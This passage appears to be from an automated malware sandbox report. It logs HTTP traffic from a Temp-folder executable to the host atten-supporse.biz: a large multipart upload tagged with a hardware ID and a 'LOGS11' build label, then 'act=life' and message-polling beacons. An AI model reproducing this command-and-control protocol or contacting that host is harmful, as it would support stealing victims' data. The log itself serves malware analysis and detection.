11	192.168.2.4	49965	104.21.64.1	443	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:09 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LRS3DL4RFZG7BGYT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551099 Host: atten-supporse.biz
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: 2d 2d 4c 52 53 33 44 4c 34 52 46 5a 47 37 42 47 59 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4c 52 53 33 44 4c 34 52 46 5a 47 37 42 47 59 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 52 53 33 44 4c 34 52 46 5a 47 37 42 47 59 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --LRS3DL4RFZG7BGYTContent-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--LRS3DL4RFZG7BGYTContent-Disposition: form-data; name="pid"1--LRS3DL4RFZG7BGYTContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: a4 28 4d 13 06 f3 34 15 e1 0d a1 f9 2f 9d c7 b5 ff ad ec 19 c1 9d c0 c9 5a 56 3c 43 19 a6 7b 9c 4a d5 4a f1 83 a4 36 7e ea 3a c6 c4 89 ee 65 1b 3f 30 f9 14 38 1e 4e 55 be 7f 1e 01 f5 86 28 0d 85 ef c6 0d 03 9e e4 98 58 ff 9f cb 08 fb 2a 80 26 2e e7 66 5b fc 65 c0 f6 49 3e 3a 8d ad 20 66 ba 40 f7 34 16 88 5d 51 87 95 f2 09 c9 21 be 05 67 9d 05 05 02 a4 89 eb 37 c6 4f c4 09 d0 e6 8b d5 a7 e2 ef 84 db 6d 44 04 1c 0b db cb 30 fa 43 c8 d6 d9 f9 20 ca 38 08 af 0f 4a 3a 82 fc 27 f3 20 38 1b aa 94 c2 1f 69 86 0b f7 03 07 ad 4e 40 ae e6 79 0b 22 d5 37 2e 2d 0a dc f8 b7 e5 e3 80 4b df 58 df bb b4 11 fb 21 a7 77 e8 50 cd fa 8d ab 54 a8 c0 be a2 c3 a4 e4 6a 62 88 eb 64 5a 14 0a ee dd ef 23 62 84 09 45 a6 9d 18 9a 96 83 01 49 fe f1 d4 5c 50 1c ec e8 b2 e6 d0 a0 81 9f Data Ascii: (M4/ZV<C{JJ6~:e?08NU(X*&.f[eI>: f@4]Q!g7OmD0C 8J:' 8iN@y"7.-KX!wPTjbdZ#bEI\P
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: 68 3f 30 21 1b 2a f8 26 7f 71 4c 3f 8a 09 b2 ed e6 60 c2 2a 5b c3 dc 79 2f e7 34 4b 21 e5 23 47 f2 c5 30 ef 31 cd d2 21 03 79 3e 56 72 52 97 96 5a 27 52 ea 25 ba 30 b5 5a 0a 6f 5b 83 f1 01 c3 b5 54 13 ee f7 8f e3 71 65 a3 93 d3 d3 d1 75 fa 13 4a ce 2a 60 a7 63 04 44 90 db 87 a7 5a 06 12 55 94 14 23 e2 7e bd 3f 71 4c 3e d2 c0 a9 cb 10 e7 77 5c 85 cf 8f 97 af d6 d5 c1 3d 6a 2c fb f5 2e 83 c0 7f 57 cd 7a 5a e0 55 09 0f 8f e6 e7 11 8f 45 f3 0b ad 29 f5 2d 09 ed 6c 92 d3 7e b5 51 fb 28 8e 20 87 12 da 83 33 79 a8 bb 24 5e a9 f2 4a 30 b5 e5 4e 68 ed 9e fc 49 b9 7e fe ef ea 59 93 57 46 7f 9f 8d be 9a 1e b2 8f ef 6e 90 68 1f b5 d9 f0 79 63 34 ec 2f fe 4b b1 76 2a 84 1f fd 93 d9 bd ee 74 c5 ef 51 a6 21 a2 33 4b 34 2b b7 45 56 68 7d 38 f6 d8 10 d4 1d b5 25 f2 74 47 Data Ascii: h?0!&qL?`[y/4K!#G01!y>VrRZ'R%0Zo[TqeuJ`cDZU#~?qL>w\=j,.WzZUE)-l~Q( 3y$^J0NhI~YWFnhyc4/KvtQ!3K4+EVh}8%tG
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: a6 51 f9 21 8d e7 42 82 c4 89 69 91 16 22 c3 1d d7 b9 8b 2a 40 e7 7c 72 15 77 6b 03 b7 dc f7 ea d8 ed 0d 94 34 a6 19 bd bc f5 2c 96 2a c6 2e bb b9 9b 1e 65 fd e9 d9 de 4f 68 98 51 b9 e4 72 60 e3 45 bf 40 4f 66 c5 e7 91 9a 8a 97 ff b0 98 dc fc d8 d3 d5 53 2b 7f 9c 98 d4 e6 73 42 5d 63 3f b7 7e 53 7d 8d dd 6d 5e 71 ae 7d da 9f 49 cd db 0b 1c 85 8b 00 e6 d6 69 e0 78 61 07 cf 4e 9d 5e d9 42 61 96 db b0 04 ab f4 40 1b 87 a3 8e 0f b7 f9 ba fe e8 5e 84 d5 84 dc 64 81 34 90 8d 09 b9 e5 35 0f d1 ed 42 ed 0d 3e a8 e3 67 7a df 90 db 4c 9e 86 5b 68 01 87 8f bf 36 10 1f 61 0a 3c e4 ff bf 23 d0 91 cc 51 08 94 a1 a1 26 03 70 ad 2c 17 11 59 12 91 9a a5 28 70 21 e4 a9 36 df 1a 5d 5c 15 fb ea 95 e2 90 d6 0f 40 d8 43 74 c4 3c c3 12 bf 4c ba 7a 70 03 8b 9f 18 46 a9 a0 40 e2 Data Ascii: Q!Bi"@\|rwk4,.eOhQr`E@OfS+sB]c?~S}m^q}IixaN^Ba@^d45B>gzL[h6a<#Q&p,Y(p!6]\@Ct<LzpF@
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: 11 99 65 98 4a 87 22 65 be 7f 88 c4 6c d9 08 62 8f 30 f8 35 4c ca 4d f6 19 ee 1b c8 79 55 52 f6 b9 7f 9a 28 07 51 96 c2 a4 9e 71 d0 ff 8b 0a 97 e9 cb f3 5e da f6 34 c2 3c 5f 46 be 76 01 4c 25 cc 09 79 35 bf c7 8c 65 24 9a da 13 ff 8d 44 a0 a9 a1 62 7b a4 b1 f3 28 4f b4 79 3b ca dc 49 e3 d7 65 fc 4b bf ad f7 20 ba e3 5c 00 ab 0f 41 62 19 01 4c df 74 ba cd 9a 99 dd 79 72 f5 04 e7 9a 01 1e 3f a5 1b fc 55 32 10 cb 83 11 c6 f4 2a 8c a3 19 51 45 dd 46 73 b2 1f ac 19 4d c6 d8 70 a1 46 79 2b f7 4c a7 a4 d1 91 f1 3b 33 43 15 f1 9b 2f 05 28 fc 9c 3b a3 c1 d8 7a 52 ed 75 26 33 e2 ef 41 72 9d 44 a4 71 1d 82 1d 08 93 28 47 5d 22 d2 fa d0 8c b8 72 f5 74 f8 1e df d2 53 3e 15 c9 64 4b fb 8c 04 9c 90 e0 7e 46 c9 9e 5d 3a 5c d2 77 59 d3 1b cf 24 22 0f f3 99 54 fd 58 69 d2 Data Ascii: eJ"elb05LMyUR(Qq^4<_FvL%y5e$Db{(Oy;IeK \AbLtyr?U2*QEFsMpFy+L;3C/(;zRu&3ArDq(G]"rtS>dK~F]:\wY$"TXi
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: e3 3d ba a5 e3 7e 19 f5 4e 42 1c a9 ef 05 0f 5b e7 d1 b3 4f 53 cc 0c 07 26 8e c6 ec aa fe fb 7e 37 86 94 a4 66 2a c7 fd 48 d4 0d 26 c5 91 be 3d 8c 7a 7e 58 56 14 38 36 c9 0d 45 ea 7c fd b6 64 99 5e d1 d1 14 cf b9 22 2c fe e3 6f 6e 87 2b f6 0e 1c e4 0f 9d c0 84 fa a3 7e 2c e0 62 b3 ea 4c 68 e6 61 13 21 12 9c f9 27 81 95 5e ac 04 95 6b e3 60 d9 37 bd a2 30 7b b7 0c 6c 88 81 5f 72 b1 eb a3 44 07 db 5e 9d 25 56 d7 77 4b d8 5e 78 e1 c5 d3 ff 1d a6 b9 9e 81 bd c3 25 2d 42 7f 85 d8 89 aa 32 91 54 d8 66 ac 56 94 65 b7 ae 56 fb 0c 65 a8 fb 61 de eb 83 fb b3 cf 5c 40 df 5c 63 9c d9 99 29 72 15 ba 49 55 d7 5c 46 cf a2 97 73 66 6c 8e 92 e9 ac 25 55 da 18 00 6f d1 8c 79 56 1f 29 4d 04 10 f6 88 45 29 71 b3 1b b6 d7 06 ff 5d 97 1c a9 61 76 4e fd 4c 90 3b ee 0c ef 03 0d Data Ascii: =~NB[OS&~7f*H&=z~XV86E\|d^",on+~,bLha!'^k`70{l_rD^%VwK^x%-B2TfVeVea\@\c)rIU\Fsfl%UoyV)ME)q]avNL;
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: 0f 5b cf 41 60 e4 80 d5 2b c2 f2 c0 05 ef 3f 98 31 05 37 57 96 42 2d 79 94 3c 86 6d fe df b5 63 ff 73 d4 ea f4 f6 f9 6f 37 aa 49 e9 ca 8a 7f da 45 1c 01 86 4d e1 10 76 14 17 35 39 e2 a3 f5 fc e3 58 bc cb 9d c0 6f 47 1e 2d 6d 65 7a 19 ef 13 d9 f0 72 14 50 a8 ee 79 e9 8d 29 1a be 8c c3 23 be ff 4e c7 8e 15 2f 98 93 f8 bf 6e b6 23 ea 80 b4 53 95 d1 cd 6c f3 54 df 27 0e ae fc 93 ba 23 d6 99 07 51 24 08 13 4a 7b ec 91 63 f3 b5 10 98 7d 16 0a 11 e5 b2 94 21 47 e1 de 93 1c ad 73 69 dc 7b 3d e8 98 3e bc cb 45 62 20 ef fd 48 8b b6 4d cd 5a d1 2c 0f b9 92 35 cd cc 11 ea 14 0d 77 91 2c 8e a8 3e 02 2c 46 33 35 50 df b1 bd 7f 69 c3 15 0d 57 71 90 5a 03 36 f6 6a 64 39 64 ed 68 2f 01 78 6a 9c 20 e2 50 08 9e 55 ec 9c 9d 25 32 c9 3a 3c f8 fd 0a a5 72 d7 6d 25 e6 c8 04 cb Data Ascii: [A`+?17WB-y<mcso7IEMv59XoG-mezrPy)#N/n#SlT'#Q$J{c}!Gsi{=>Eb HMZ,5w,>,F35PiWqZ6jd9dh/xj PU%2:<rm%
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: 21 35 c2 be 8f 59 56 02 13 ba 1a 82 6e d2 b0 8e ba 9a 16 57 ce 4e 22 1f 2d 6d ae e8 6d 7d b2 55 fb e6 97 05 21 25 41 c6 8a 6d c4 a3 83 c3 f9 8b 06 36 bd d9 c5 1d ed e8 b6 3f 86 82 41 e0 11 94 e1 b0 b7 f4 52 b1 5c ca 88 cb a9 4d 69 84 e7 b2 73 a6 71 13 fa 14 22 34 12 eb 85 54 a7 ae 66 a7 ee 7a 83 01 2e e7 d7 e5 58 f1 ce 78 f9 e0 ef be b0 36 be 38 e9 9b ef 50 fe b5 a9 0c 96 de 8e bd 2c 22 a3 09 dd 24 ab 88 60 2a f6 1a 24 6c 54 71 08 f7 72 4c f7 f7 8f 44 51 14 46 6f ad 92 2b 8f 73 f4 ea ab b9 29 ff 80 1e 45 48 c3 e8 98 d6 4a f5 b2 87 b5 25 4e 4c 64 58 7d 4a 08 e7 f6 f1 27 17 58 95 0e 4e 1d c9 3d 12 9a 7c e4 e4 f9 7f a7 cd 58 a4 75 d1 1d 76 44 c9 37 b6 d8 b6 59 b9 a8 95 9e d3 50 46 b6 4f e2 ce 8b 4b d3 86 a3 9f ec a0 cf 3c 4f e0 b3 58 30 2f dc 97 7e 0e 68 2d Data Ascii: !5YVnWN"-mm}U!%Am6?AR\Misq"4Tfz.Xx68P,"$`*$lTqrLDQFo+s)EHJ%NLdX}J'XN=\|XuvD7YPFOK<OX0/~h-
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: b6 e4 d2 09 8e 93 bf 96 39 fb 5a 9b 85 c1 22 1b 61 05 06 1e e2 4b b2 b3 69 3a 38 b2 49 6c ff ff 7f 62 c2 19 c0 69 3b fa 01 59 dc 39 d4 2e 43 54 87 7e e4 8f 77 be 5b 97 b5 e5 27 aa cd 09 9a 02 40 02 2b 95 ea 9e a7 46 58 d0 d3 33 42 1f bd db a0 3f 74 62 c0 37 fd 49 6b f7 e7 87 f9 66 82 bc 5b f3 f6 9f 8c a8 ff bb 25 26 08 42 7c 16 17 d1 40 1b 7f 05 07 de a2 0b 05 50 c3 64 b2 e4 3f c1 69 da 3e 89 9b c7 6a 2c 8d f9 7d 75 10 0c 18 70 82 9c 23 4b ed 45 d1 03 1c 0a 95 86 b9 92 87 fb a5 46 5c e3 b1 23 aa 74 01 8c 36 cb 33 9a 1a 0c f0 eb 8f 59 63 2b 80 4f c5 7c f0 b8 c8 9b ad b8 7d d3 56 68 5e 3b 1f 3e 33 67 aa e6 c4 a9 cd 67 15 a9 c6 bc 82 63 e2 f7 20 d8 a8 5b 7f fd 8a 83 04 ea 7a c2 04 04 6e 10 70 0d b8 7a e5 a8 90 dd 54 7e 00 e1 a0 15 e2 de d0 9d 5c bb d6 9c 59 Data Ascii: 9Z"aKi:8Ilbi;Y9.CT~w['@+FX3B?tb7Ikf[%&B\|@Pd?i>j,}up#KEF\#t63Yc+O\|}Vh^;>3ggc [znpzT~\Y
2024-12-09 19:29:09 UTC	15331	OUT	Data Raw: 28 43 23 aa 9b 7b c6 31 e7 76 38 b9 11 25 97 9a e2 2d a2 11 6f 61 f1 4c 4b e1 4a b2 08 69 d7 fa 4d 23 ed 35 07 f5 4c be 48 e7 91 93 11 f4 97 37 25 27 4c 2d 3f 45 f3 6f f0 f9 10 d0 b5 d7 d1 84 33 fc d7 24 05 1d e7 f5 69 02 5f ed ff ef a5 37 d6 71 7a 27 33 21 3e 26 b1 6c a7 21 2f f3 ae 9a 97 20 e2 8d 59 f4 58 63 22 60 d8 1d 05 f9 87 67 54 a0 fc 5f 66 4c 77 87 e1 8b 57 bf 88 56 ee bc 59 cc d6 40 40 e4 17 d7 d4 d3 de ac ab f9 e1 8c 84 fc a5 9a 09 97 29 78 a2 b6 89 54 81 56 17 b0 6c dd 11 7a 14 86 61 6a 50 8c 5a a1 29 ce db fd fa 72 91 4a ca 04 80 9d 1c bd e3 fc 8d 21 df d9 81 9e 1e d2 07 5c e7 0f 8c d6 84 f7 dc 16 70 0c 5a 78 35 6f af 42 6c a1 67 79 0c 56 ca 0d 96 dc 75 c9 17 5b 18 08 93 8a f4 6e 56 ee 18 5b 2a d6 a6 47 51 eb 66 3d f2 42 10 ee 05 8c fd b9 3e Data Ascii: (C#{1v8%-oaLKJiM#5LH7%'L-?Eo3$i_7qz'3!>&l!/ YXc"`gT_fLwWVY@@)xTVlzajPZ)rJ!\pZx5oBlgyVu[nV[*GQf=B>
2024-12-09 19:29:16 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cmsd2j40urd5tss6ojldpa8slu; expires=Fri, 04-Apr-2025 13:15:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t7PeTyT8Hw%2B4OJuwEaeW1wpeiL6KXDcltsBIWE8HpxmdEN3zu%2BbxjkYRjaheCbGyQIMj48hPLd6xD6OwjRxBgybaZ8snkr2pXJ0seTFoJogPxZ9sWgA%2Bkcn1RiUyXA7PkIudFL4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef767019a6d43f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1657&rtt_var=622&sent=284&recv=576&lost=0&retrans=0&sent_bytes=2846&recv_bytes=553580&delivery_rate=1762220&cwnd=204&unsent_bytes=0&cid=56d9e9422f9df72a&ts=7725&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49984	104.21.64.1	443	6704	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:15 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 19:29:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 19:29:17 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sdt341cr51627m80nht45u16a6; expires=Fri, 04-Apr-2025 13:15:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c32fXHMKQDlz0xdsX%2F7KNUbbGWiDK2vj%2BE8jqoZtOZAqU4CkgBOFB%2FpqTUAaO5SQRrRxkJR7Wv%2B%2FM0Pzwg8Tl06L07lodOxtWhErUuwdVcMuKavCtdER2a%2B7d3enrP8TEtnG1P8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef767277e3e2369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1830&min_rtt=1829&rtt_var=689&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1586094&cwnd=142&unsent_bytes=0&cid=919f596c86bce872&ts=2593&x=0"
2024-12-09 19:29:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 19:29:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49997	104.21.64.1	443	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-09 19:29:18 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=7AC7584FB5A6098F23D904AF30EFEBBC
2024-12-09 19:29:20 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n72ni07qhivro0bka17mcchir2; expires=Fri, 04-Apr-2025 13:15:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qp8KF7U7doHe3O9JNRrNyfVpgChf1dujebY4McOjxcFTjlS1v3z4DDFFjOsfs7I2WOxvtxfJa0FCGqQnrInQj7febVQSkQTDnKITb%2B8l7LVby6UHN8y8HRfdTQLKFYrJ5Tf00xE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7673b3f821819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1542&min_rtt=1499&rtt_var=648&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1582655&cwnd=215&unsent_bytes=0&cid=9189297ac869d99b&ts=2578&x=0"
2024-12-09 19:29:20 UTC	214	IN	Data Raw: 64 30 0d 0a 36 38 67 4f 6b 5a 6d 75 62 36 79 6f 66 63 72 58 4e 4f 64 4a 4e 2f 51 33 63 34 62 74 68 50 67 62 54 41 38 30 67 66 79 78 78 78 53 77 73 79 7a 6b 75 35 52 4e 78 4e 77 4a 75 75 31 6f 79 42 55 59 78 51 39 47 71 4e 2b 31 7a 54 56 39 50 67 65 76 7a 59 65 62 4f 34 53 75 61 4d 32 32 79 67 72 4b 68 68 69 79 73 68 62 4c 61 31 47 41 46 55 6d 32 77 61 61 64 4f 58 59 2b 53 61 32 48 6b 37 49 32 30 65 70 6d 35 65 33 65 56 66 43 48 49 65 58 6d 44 4e 4a 6e 42 63 55 43 58 62 66 63 74 39 59 71 65 6c 4d 62 38 6f 6a 55 70 6e 6d 33 35 33 7a 77 39 38 6f 41 77 59 59 59 73 72 49 57 79 32 74 52 67 42 56 4a 74 73 47 6d 6e 54 6c 32 50 30 6e 63 0d 0a Data Ascii: d068gOkZmub6yofcrXNOdJN/Q3c4bthPgbTA80gfyxxxSwsyzku5RNxNwJuu1oyBUYxQ9GqN+1zTV9PgevzYebO4SuaM22ygrKhhiyshbLa1GAFUm2waadOXY+Sa2Hk7I20epm5e3eVfCHIeXmDNJnBcUCXbfct9YqelMb8ojUpnm353zw98oAwYYYsrIWy2tRgBVJtsGmnTl2P0nc
2024-12-09 19:29:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50003	104.21.64.1	443	6704	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 19:29:19 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 19:29:21 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d8i2vgrelge4n1ldkfbfd9t8uk; expires=Fri, 04-Apr-2025 13:15:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5cGwlVcQVY%2BldJuUA8%2BZ2yGAvQzJ%2BHxdtDjUVLqb0cyxGUlwpG67fBuGd%2F3NcVJrS1Q8hI1Loo3qiJcUsytr0DY5KKnBnKfGMrWe0rLDAUxMMT%2FBT7jsz4Ddped2IqEW%2Fo4Kmgc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef767408efdc35b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1533&min_rtt=1484&rtt_var=591&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1967654&cwnd=188&unsent_bytes=0&cid=e3a4b6a60c2ed842&ts=2125&x=0"
2024-12-09 19:29:21 UTC	347	IN	Data Raw: 63 62 62 0d 0a 73 54 33 4d 47 6c 79 49 6b 4f 35 4a 51 48 79 57 62 33 2f 38 6e 4b 37 61 31 5a 51 75 45 44 63 6b 7a 39 61 6f 33 59 56 76 43 72 7a 4b 48 37 6f 34 5a 72 79 38 7a 44 6f 6c 58 71 77 62 44 59 6e 35 67 76 69 30 38 41 77 71 55 55 57 6a 70 63 33 78 70 78 6c 6e 6e 6f 74 62 72 58 59 76 37 62 7a 4d 4c 44 68 65 72 44 51 45 33 76 6e 41 2b 4f 2b 32 53 33 70 56 52 61 4f 30 79 62 62 71 48 32 62 66 32 56 47 72 63 6a 6e 72 39 49 38 6c 4c 52 6e 7a 43 68 36 57 38 73 65 33 76 66 6b 4d 50 42 56 42 74 66 53 53 2f 38 67 4b 66 74 33 38 58 4c 39 78 66 76 57 38 6c 57 73 6c 45 72 52 56 58 5a 33 35 7a 4c 61 7a 38 45 56 34 58 30 79 72 74 63 79 33 39 51 5a 73 31 4e 6c 66 71 48 4d 7a 34 75 43 43 4c 79 6f 53 39 51 41 65 33 72 43 4d 76 36 2b 32 46 44 49 47 64 4b 36 6c 32 36 Data Ascii: cbbsT3MGlyIkO5JQHyWb3/8nK7a1ZQuEDckz9ao3YVvCrzKH7o4Zry8zDolXqwbDYn5gvi08AwqUUWjpc3xpxlnnotbrXYv7bzMLDherDQE3vnA+O+2S3pVRaO0ybbqH2bf2VGrcjnr9I8lLRnzCh6W8se3vfkMPBVBtfSS/8gKft38XL9xfvW8lWslErRVXZ35zLaz8EV4X0yrtcy39QZs1NlfqHMz4uCCLyoS9QAe3rCMv6+2FDIGdK6l26
2024-12-09 19:29:21 UTC	1369	IN	Data Raw: 73 66 71 48 59 2f 35 2f 4b 65 49 79 6b 56 38 52 38 57 6c 2f 50 42 75 4c 72 38 51 33 46 56 51 61 65 2b 78 62 58 6a 41 47 58 59 30 31 2f 75 4e 6e 37 74 36 73 78 7a 59 6a 33 78 48 52 71 53 36 49 36 43 39 2b 6b 43 61 78 56 42 6f 66 53 53 2f 2b 38 49 61 39 33 59 55 4b 31 77 4e 66 6a 79 6e 69 30 76 47 2b 59 4c 47 4a 44 30 7a 36 71 39 2b 45 70 78 58 45 32 6b 73 63 32 37 70 30 4d 6f 32 63 73 66 39 6a 67 66 35 2f 6d 41 49 54 55 65 74 42 4a 54 68 37 37 4c 74 50 65 75 44 48 5a 55 51 71 79 77 78 4c 48 6a 41 57 37 51 33 6c 43 6f 63 6a 37 74 2b 49 51 6a 49 78 50 2f 41 68 32 62 38 38 69 2b 75 2f 64 4a 4d 68 73 47 71 71 79 4b 35 36 63 6a 62 39 33 42 48 5a 74 37 4d 4f 54 31 6d 6d 73 39 55 4f 31 4e 47 70 4b 2b 6c 50 69 35 38 30 4e 67 56 46 53 6f 75 74 69 7a 34 67 74 6c 33 Data Ascii: sfqHY/5/KeIykV8R8Wl/PBuLr8Q3FVQae+xbXjAGXY01/uNn7t6sxzYj3xHRqS6I6C9+kCaxVBofSS/+8Ia93YUK1wNfjyni0vG+YLGJD0z6q9+EpxXE2ksc27p0Mo2csf9jgf5/mAITUetBJTh77LtPeuDHZUQqywxLHjAW7Q3lCocj7t+IQjIxP/Ah2b88i+u/dJMhsGqqyK56cjb93BHZt7MOT1mms9UO1NGpK+lPi580NgVFSoutiz4gtl3
